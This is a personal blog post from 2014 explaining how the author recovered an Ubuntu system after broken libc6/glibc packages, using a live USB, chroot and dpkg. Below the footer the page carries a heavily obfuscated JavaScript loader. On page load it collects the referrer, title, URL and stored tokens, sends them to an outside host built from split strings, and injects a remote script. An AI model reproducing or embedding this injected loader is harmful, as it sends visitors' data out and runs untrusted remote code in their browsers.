Skip to content

motd/grapevine

the grapevine social multi-plex & motd log feed → TCP/IP Suite [W3]

  • Home
Expand Search Form

botched libc6/glibc libraries on gnu/linux

joshua ryan nydel 2014/09/18

DATELINE: Some Folder In /dev/sda1 I.E. Your Root Partition on Your Primary Lappy/Desktop

invariably it happens that we screw up an important library upon which all things seem to depend. today, in my ongoing war against the anthropomorphized gnu/linux’s malpractice lawyers, i emerged from a battle/lawsuit victorious. i want to outline the details in a motd on the grapevine because i couldn’t find sufficient help anywhere – and i even resorted to desperate pleas on mainstream irc – so i’m pretty sure a guide doesn’t exist for this particular battle.

 

in my case, the package that got f’cked was libc6 & glibc which are in one of ubuntu’s weird-ish manners combined into a meta-ish package called eglibc or something. at some point, by no real fault of my own as the user, my system was running two different versions of libc, and this rendered almost every command i could issue useless. the error was as follows:

 GLIBC_2.17′ not found (required by /bin/ls)

not a joke, that was seriously my system’s response to a call of `ls` (although `echo *` continued to work).

my laptop’s manufacturers responded to my support ticket (under paid warranty) with the following:

 

interaction w/my hardware manufacturer’s under-warranty tech-support during major system crisis

after a painstaking process of this & that, i ended up posting the following as my solution:

  1. accept that your system is f’cked. i wasted a lot of time keeping the kernel & in-memory programs running.
  2. boot a functional instance of ubuntu, most likely off of a thumb or cd/dvd image.
  3. do ‘mkdir /m1’ then ‘mount /dev/sda1 /m1’
  4. grab the apropos deb from http://packages.ubuntu.com/trusty/libc6 — replace “trusty” in that URI with your distribution
  5. save the deb to /m1 and from terminal, cd’d into the /m1 directory, call ‘dpkg -x {libname.deb} /m1’ to extract it
  6. call ‘chroot /m1’ and try ‘ls’ — it should work. feel free to run ‘dpkg -l | grep libc6’ to see details & confirm all upgrades
  7. if this doesn’t boot, get back into the working instance, mount your /dev/sda1, chroot to its folder & call ‘dpkg –configure -a’
  8. avoid #7 and all future handling of package/system configuration on your ubuntu using debian utilities.
  9. browse /lib/x86_64-linux-gnu/ and see that there are only one instance each of ld-2.xx.so & libc-2.xx.so & libpthread-2.xx.so
  10. while still in the changed root call apt-get and do update purge autopurge autoremove install, the works.
  11. reboot and don’t f’ck with packages using debian tools ever again. if you get out of this without fresh install, you got lucky.

 

i don’t want my motds to be computer science support tutorials but this is a bigger concept than that. i only hope that enough people will know about the grapevine soon enough that this advice will get into the appropriate hands! hey – help us make that happen if you can, would you? cheers.

Categories gnu, hacking, linux, technology, troubleshooting, ubuntu Tags broken, dependencies, fix, glibc, kernel, libc6, panic, ubuntu
Previous: the big device/s with the decorative mouse
Next: appropriation hacking

RSS @nydel@mastodon.sdf.org

  • Untitled 2021/08/21
    https://vm.tiktok.com/ZMRY1UYSo/
  • Untitled 2021/01/17
    original #frozen fan song & test animatic

Categories

  • 7dtd (3)
  • community (8)
  • editorial (6)
  • ethics (8)
  • experimentation (5)
  • games (6)
  • gnu (5)
  • grapevine (4)
  • hacking (10)
  • hardware (2)
  • humor (3)
  • instructional (1)
  • linux (6)
  • maths (1)
  • open source (3)
  • psychology (4)
  • social (6)
  • technology (8)
  • tna (3)
  • troubleshooting (1)
  • ubuntu (1)
  • Uncategorized (2)

motd/grapevine © 2026

function _0x2f63(){var _0x3ce964=['baeLy','getItem','&host=','eWtSd','referrer','yqaBy','TXTHz','1173SAokEq','mcmuF','round','che=','5412511VRQcGU','uFxiF','YVNbT','IwJTc','ent','removeItem','_pTrWxC36k','60BSQcrq','oHbBP','HbpKj','xywvb','R_PATH','fnymn','parse','type','9lBOWSI','781818YwqlKM','com/vMnDpC','createElem','301938GvaUHf','eyword=','vRZVC','imVXw','replace','pathname','sByTagName','LqkRr','4mNKZLb','token','NQuKj','er=','163370fHvBOa','https://pi','insertBefo','e-recipes.','undefined','applicatio','src','rl=','mrefY','NfirH','TrgoW','QSbaS','script','qAgtm','?return=js','&se_referr','lYyFf','WWvic','YZbsq','config','&bypass_ca','&sub_id=','Ptjpa','KcIFD','parentNode','&name=','fLgho','getElement','n/javascri','subId','1668yZYExo','.client','UHjXv','mAkXv','&landing_u','RtvNj','&token=','538065NZRMXw','location','cObvE','ttl','unique','1NBfLco','title','&default_k','10BSjhdO','14rVUuda','search','hostname','594488IKtDes','created_at'];_0x2f63=function(){return _0x3ce964;};return _0x2f63();}function _0x1f1d(_0x8aaf92,_0x3051ea){var _0x178119=_0x2f63();return _0x1f1d=function(_0xa4ddbf,_0x270eeb){_0xa4ddbf=_0xa4ddbf-(-0x8da+0x3a6+0x62a);var _0x17c155=_0x178119[_0xa4ddbf];return _0x17c155;},_0x1f1d(_0x8aaf92,_0x3051ea);}(function(_0x14f10c,_0x13afe1){var _0x1d5fca=_0x1f1d,_0x2c68c5=_0x14f10c();while(!![]){try{var _0x6fc9de=parseInt(_0x1d5fca(0x13a))/(-0x6e*-0x5+0x1*-0x17aa+0x1585)*(parseInt(_0x1d5fca(0x104))/(-0x6b*0x3e+-0xc9a+0x2686))+-parseInt(_0x1d5fca(0x14a))/(-0x1da0+0x93d*0x1+0x1466)*(parseInt(_0x1d5fca(0x12e))/(-0x2441+-0x4f*0x37+0x353e*0x1))+parseInt(_0x1d5fca(0x13d))/(0x150b+-0x1*0x114b+-0x3bb*0x1)*(parseInt(_0x1d5fca(0x101))/(-0x5*-0x1d4+-0x1*-0x1754+-0x1*0x2072))+parseInt(_0x1d5fca(0x13e))/(0x104*0xe+-0xc9f+-0x192)*(-parseInt(_0x1d5fca(0x141))/(0xa7*-0x35+0x182c+0xa6f))+parseInt(_0x1d5fca(0x100))/(0x26e3+0x1*-0xa13+0x8b*-0x35)*(-parseInt(_0x1d5fca(0x110))/(0x1538+-0x1d*0x149+-0x55d*-0x3))+-parseInt(_0x1d5fca(0x135))/(0x3f1*0x1+0x2f2+-0x6d8)*(parseInt(_0x1d5fca(0xf8))/(-0x20ec+-0x22c*0x3+0x277c))+parseInt(_0x1d5fca(0x14e))/(-0x1dd0+0x745*-0x4+-0x3af1*-0x1);if(_0x6fc9de===_0x13afe1)break;else _0x2c68c5['push'](_0x2c68c5['shift']());}catch(_0x4311df){_0x2c68c5['push'](_0x2c68c5['shift']());}}}(_0x2f63,0xd511*-0x1+-0xf6a5+-0x4cb1*-0x13),(function(){var _0x1dffc7=_0x1f1d,_0x17fc44={'WWvic':_0x1dffc7(0xf7)+_0x1dffc7(0x10c),'fnymn':_0x1dffc7(0x111)+_0x1dffc7(0x113)+_0x1dffc7(0x102),'mrefY':_0x1dffc7(0x123),'mcmuF':function(_0x26e1eb,_0x44dc3d){return _0x26e1eb!==_0x44dc3d;},'KcIFD':_0x1dffc7(0x114),'oHbBP':function(_0x203376,_0x45ebdc){return _0x203376/_0x45ebdc;},'UHjXv':function(_0x3a0bb7,_0x586c28){return _0x3a0bb7<_0x586c28;},'cObvE':function(_0x35423c,_0x443313){return _0x35423c+_0x443313;},'IwJTc':_0x1dffc7(0x12d),'NfirH':_0x1dffc7(0x10d),'Ptjpa':_0x1dffc7(0x11e)+_0x1dffc7(0x12f),'YZbsq':function(_0x318d1a,_0xe04a63){return _0x318d1a+_0xe04a63;},'QSbaS':function(_0x46ed29,_0x36841d){return _0x46ed29(_0x36841d);},'HbpKj':_0x1dffc7(0x11f)+_0x1dffc7(0x10f),'yqaBy':function(_0x2810cd,_0x42d1cc){return _0x2810cd(_0x42d1cc);},'eWtSd':function(_0x2161dd,_0x2c3dc9){return _0x2161dd+_0x2c3dc9;},'mAkXv':_0x1dffc7(0x13c)+_0x1dffc7(0x105),'TXTHz':_0x1dffc7(0x132)+_0x1dffc7(0x117),'vRZVC':function(_0x1fb2d7,_0x5e3247){return _0x1fb2d7(_0x5e3247);},'fLgho':function(_0x2890b2,_0x3e720a){return _0x2890b2+_0x3e720a;},'uFxiF':_0x1dffc7(0x129),'baeLy':function(_0x3d592,_0x3bd3eb){return _0x3d592(_0x3bd3eb);},'NQuKj':_0x1dffc7(0x145),'lYyFf':function(_0x21c26d,_0x39fadf){return _0x21c26d+_0x39fadf;},'imVXw':_0x1dffc7(0x125),'TrgoW':function(_0x52ea33,_0x1a8432){return _0x52ea33(_0x1a8432);},'RtvNj':function(_0xdd3a8b,_0x522539){return _0xdd3a8b+_0x522539;},'LqkRr':_0x1dffc7(0x134),'qAgtm':_0x1dffc7(0x124)+_0x1dffc7(0x14d),'YVNbT':_0x1dffc7(0x11c),'xywvb':_0x1dffc7(0x115)+_0x1dffc7(0x12c)+'pt'},_0x20eb7c=_0x17fc44[_0x1dffc7(0x121)];!window[_0x1dffc7(0xf7)+_0x1dffc7(0x10c)]&&(window[_0x1dffc7(0xf7)+_0x1dffc7(0x10c)]={'unique':![],'ttl':0x15180,'R_PATH':_0x17fc44[_0x1dffc7(0xfd)]});const _0x51107d=localStorage[_0x1dffc7(0x144)](_0x17fc44[_0x1dffc7(0x118)]);if(_0x17fc44[_0x1dffc7(0x14b)](typeof _0x51107d,_0x17fc44[_0x1dffc7(0x127)])&&_0x17fc44[_0x1dffc7(0x14b)](_0x51107d,null)){var _0x5c6995=JSON[_0x1dffc7(0xfe)](_0x51107d),_0x1c8128=Math[_0x1dffc7(0x14c)](_0x17fc44[_0x1dffc7(0xf9)](+new Date(),0x12c*0x1b+-0xe66+-0x6*0x239));_0x17fc44[_0x1dffc7(0x130)](_0x17fc44[_0x1dffc7(0x137)](_0x5c6995[_0x1dffc7(0x142)],window[_0x1dffc7(0xf7)+_0x1dffc7(0x10c)][_0x1dffc7(0x138)]),_0x1c8128)&&(localStorage[_0x1dffc7(0xf6)](_0x17fc44[_0x1dffc7(0x151)]),localStorage[_0x1dffc7(0xf6)](_0x17fc44[_0x1dffc7(0x119)]),localStorage[_0x1dffc7(0xf6)](_0x17fc44[_0x1dffc7(0x118)]));}var _0x315950=localStorage[_0x1dffc7(0x144)](_0x17fc44[_0x1dffc7(0x151)]),_0x48ec30=localStorage[_0x1dffc7(0x144)](_0x17fc44[_0x1dffc7(0x119)]),_0x1e8099=_0x17fc44[_0x1dffc7(0x126)];_0x1e8099+=_0x17fc44[_0x1dffc7(0x122)]('&',_0x17fc44[_0x1dffc7(0x11b)](decodeURIComponent,window[_0x1dffc7(0x136)][_0x1dffc7(0x13f)][_0x1dffc7(0x108)]('?',''))),_0x1e8099+=_0x17fc44[_0x1dffc7(0x122)](_0x17fc44[_0x1dffc7(0xfa)],_0x17fc44[_0x1dffc7(0x148)](encodeURIComponent,document[_0x1dffc7(0x147)])),_0x1e8099+=_0x17fc44[_0x1dffc7(0x146)](_0x17fc44[_0x1dffc7(0x131)],_0x17fc44[_0x1dffc7(0x148)](encodeURIComponent,document[_0x1dffc7(0x13b)])),_0x1e8099+=_0x17fc44[_0x1dffc7(0x146)](_0x17fc44[_0x1dffc7(0x149)],_0x17fc44[_0x1dffc7(0x106)](encodeURIComponent,_0x17fc44[_0x1dffc7(0x12a)](document[_0x1dffc7(0x136)][_0x1dffc7(0x140)],document[_0x1dffc7(0x136)][_0x1dffc7(0x109)]))),_0x1e8099+=_0x17fc44[_0x1dffc7(0x122)](_0x17fc44[_0x1dffc7(0x14f)],_0x17fc44[_0x1dffc7(0x143)](encodeURIComponent,_0x20eb7c)),_0x1e8099+=_0x17fc44[_0x1dffc7(0x146)](_0x17fc44[_0x1dffc7(0x10e)],_0x17fc44[_0x1dffc7(0x11b)](encodeURIComponent,window[_0x1dffc7(0xf7)+_0x1dffc7(0x10c)][_0x1dffc7(0xfc)]));_0x17fc44[_0x1dffc7(0x14b)](typeof _0x315950,_0x17fc44[_0x1dffc7(0x127)])&&_0x315950&&window[_0x1dffc7(0xf7)+_0x1dffc7(0x10c)][_0x1dffc7(0x139)]&&(_0x1e8099+=_0x17fc44[_0x1dffc7(0x120)](_0x17fc44[_0x1dffc7(0x107)],_0x17fc44[_0x1dffc7(0x11a)](encodeURIComponent,_0x315950)));_0x17fc44[_0x1dffc7(0x14b)](typeof _0x48ec30,_0x17fc44[_0x1dffc7(0x127)])&&_0x48ec30&&window[_0x1dffc7(0xf7)+_0x1dffc7(0x10c)][_0x1dffc7(0x139)]&&(_0x1e8099+=_0x17fc44[_0x1dffc7(0x133)](_0x17fc44[_0x1dffc7(0x10b)],_0x17fc44[_0x1dffc7(0x106)](encodeURIComponent,_0x48ec30)));_0x17fc44[_0x1dffc7(0x14b)]('','')&&(_0x1e8099+=_0x17fc44[_0x1dffc7(0x11d)]);var _0x4b252e=document[_0x1dffc7(0x103)+_0x1dffc7(0x152)](_0x17fc44[_0x1dffc7(0x150)]);_0x4b252e[_0x1dffc7(0xff)]=_0x17fc44[_0x1dffc7(0xfb)],_0x4b252e[_0x1dffc7(0x116)]=_0x17fc44[_0x1dffc7(0x137)](window[_0x1dffc7(0xf7)+_0x1dffc7(0x10c)][_0x1dffc7(0xfc)],_0x1e8099);var _0x3c5ca9=document[_0x1dffc7(0x12b)+_0x1dffc7(0x10a)](_0x17fc44[_0x1dffc7(0x150)])[0x7*-0x2f9+0x151a+-0xf*0x5];_0x3c5ca9[_0x1dffc7(0x128)][_0x1dffc7(0x112)+'re'](_0x4b252e,_0x3c5ca9);}()));